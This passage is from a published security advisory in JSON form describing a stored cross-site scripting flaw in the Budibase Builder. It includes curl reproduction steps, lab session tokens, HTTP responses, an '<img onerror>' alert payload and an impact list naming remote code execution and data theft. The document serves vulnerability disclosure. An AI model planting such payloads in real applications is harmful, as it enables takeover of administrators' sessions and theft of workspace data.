'{\"username\":\"admin@budibase.local\",\"password\":\"LabAdmin!2026#bb\"}'\n\n# admin reads the row set from the DEV plane (what the Builder renders)\ncurl -s -b creds/admin.cookies \\\n  -H \"x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81\" \\\n  \"http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows\"\n```\n\n**Burp - admin login Response (real admin session JWT)**\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nx-budibase-tenant-id: default\nSet-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk; path=/; httponly\nSet-Cookie: budibase:auth.sig=iYVS67Sat7FptqQAprWzDE0Hs2o; path=/; httponly\nx-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk\n\n{\"message\":\"Login successful\"}\n```\n\n**Burp - rows Response (admin reads the low-priv-authored payload - same string, cross-privilege)**\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\n\n[{\"id\":1,\"name\":\"<img src=x onerror=alert(window.xssproof=document.domain)>\",...},\n {\"id\":2,\"name\":\"<img src=x onerror=alert(window.xssproof=document.domain)>\",...},\n {\"id\":5,\"name\":\"<img src=x onerror=alert(window.xssproof=document.domain)>\",...},\n {\"id\":6,\"name\":\"<img src=x onerror=alert(window.xssproof=document.domain)>\",...},\n {\"id\":7,\"name\":\"<img src=x onerror=alert(window.xssproof=document.domain)>\",\"email\":\"rx@x.tld\",...}]\n```\n\n---\n\n#### Step 4 - confirm the Builder origin ships NO Content-Security-Policy\n\n```bash\ncurl -s -D - -o /dev/null http://127.0.0.1:3014/builder/\n```\n\n**Burp - Response (note the complete absence of any `Content-Security-Policy` header)**\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Wed, 02 Sep 2026 07:21:09 GMT\nContent-Type: text/html; charset=utf-8\nTransfer-Encoding: chunked\nConnection: keep-alive\nVary: Accept-Encoding\nLast-Modified: Thu, 27 Aug 2026 14:26:10 GMT\nCache-Control: max-age=0\nContent-Encoding: gzip\n```\n\n---\n\n#### Step 5 - VICTIM triggers execution (builder/admin, in the browser)\n\nLogged into the Builder as `admin@budibase.local`, the victim opens the shared table and evaluates a binding over it - the ordinary workflow for building a Formula column:\n\n1. Open the app → **Data tables** → datasource **LabPG** → table **`users_tbl`**.\n2. Click the **+** to add a column, name it (e.g. `xsscol`), set **Type = Formula**.\n3. Click the **lightning** (binding) icon on the *Formula* field → the binding drawer opens.\n4. In the code editor type: `{{ name }}`\n5. Click the **play** (▶ / evaluate) button.\n\nThe right-hand **Preview** panel renders the stored value through `JsonFormatter.format()` → `{@html}`. The injected `<img>` is inserted as a **live DOM element**; its `onerror` fires and the attacker's JavaScript runs in the Builder origin.\n\n**Observed result (captured live in the reproduction):**\n\n```\nwindow.__xss_calls = [\"localhost\"]     // alert() was called with document.domain\nwindow.xssproof    = \"localhost\"       // attacker JS mutated the Builder's window object\ndocument.domain    = \"localhost\"       // execution context = the BUILDER origin\nlocation.href      = http://localhost:3014/builder/workspace/app_dev_cc322a9cd27a492eb934f43b146c6e81/data/table/...\n```\n\n**Popup - `alert(document.domain)` firing in the Builder origin, with the injected `<img>` visible as a broken-image element in the Preview panel:**\n\n![F4 stored XSS – alert popup in the Budibase Builder](./F4-xss-alert-popup.png)\n<img width=\"1536\" height=\"674\" alt=\"F4-xss-alert-popup\" src=\"https://github.com/user-attachments/assets/c9f7932b-0b1c-4165-863f-24e0bf8dceb7\" />\n\n\n> Screenshot note: the browser used for automated reproduction is headless, and native `alert()` dialogs are not captured by page-level screenshots. `window.alert` was therefore wrapped with a faithful, screenshot-capturable popup that displays exactly the argument the injected script passed to `alert()`. The execution itself is 100% genuine and unmodified - the payload's `onerror` handler ran, called `alert()`, and set `window.xssproof` on the real Builder `window` (see the observed values above). The broken-image glyph in the **Preview** pane is the attacker-controlled `<img src=x>` inserted by the `{@html}` sink.\n\n### Impact\n\n**Type:** Cross-privilege **Stored / persistent Cross-Site Scripting (XSS)** in the application builder.\n\n**Who is impacted:** any self-hosted (or cloud) Budibase workspace that exposes an external-datasource table for writes to lower-privileged roles - the standard pattern for feedback forms, contact/lead capture, surveys, support tickets, registration, and any \"data collection\" app. On such apps the writer can be a `BASIC` app user or, when the write screen is public, an **unauthenticated** visitor.\n\n**What the attacker gains:** the payload executes in the **Builder/admin session**, an origin with **no CSP**. From there the attacker's JavaScript can silently drive every authenticated Builder API in the victim's context, e.g.:\n\n- create a REST/SQL **datasource** or an **automation** step that runs server-side JavaScript / Bash → **remote code execution** on the server;\n- read or modify **every table** in the workspace (full data exfiltration / tampering);\n- **escalate** the attacker's own account (or create a new one) to builder/admin;\n- pivot to the underlying CouchDB/MinIO/Redis via server-side automation.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.38.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-r2q3-7m4h-63qg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-122244"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/commit/5f37fb43728639c540cc7233283f1100e9315424"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/v3.50.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/v4.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1021", "CWE-116", "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-20T23:49:47Z",
    "nvd_published_at" : "2026-11-20T17:18:07Z"
  }
}